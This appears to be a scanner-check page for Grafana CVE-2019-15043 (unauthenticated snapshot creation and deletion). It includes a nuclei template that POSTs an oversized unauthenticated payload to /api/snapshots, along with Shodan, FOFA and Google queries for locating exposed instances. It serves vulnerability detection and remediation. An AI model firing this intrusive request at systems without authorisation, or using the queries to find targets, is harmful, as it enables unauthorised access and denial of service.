Grafana - Improper Access Control

highseverity

7.5CVSS score

63.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.

Impact

Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.

Fix

Upgrade to 6.3.4 or higher.

How to confirm it

Send: POST {{BaseURL}}/api/snapshots
Positive when: contains "\"deleteUrl\":" and "\"deleteKey\":" and "\"key\":" and "\"url\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2019-15043 -u <target>

The full check

id: CVE-2019-15043

info:
  name: Grafana - Improper Access Control
  author: Joshua Rogers
  severity: high
  description: |
    Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: Upgrade to 6.3.4 or higher.
  reference:
    - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569
    - https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/
    - https://bugzilla.redhat.com/show_bug.cgi?id=1746945
    - https://aaron-hoffmann.com/posts/cve-2019-15043/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15043
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2019-15043
    cwe-id: CWE-306
    epss-score: 0.63388
    epss-percentile: 0.99216
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2019,grafana,dos,intrusive,vuln
variables:
  payload: '{{repeat("A", 4000)}}'

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/snapshots"

    body: '{"dashboard": {"name":"{{payload}}"}}'

    headers:
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"deleteUrl":'
          - '"deleteKey":'
          - '"key":'
          - '"url":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from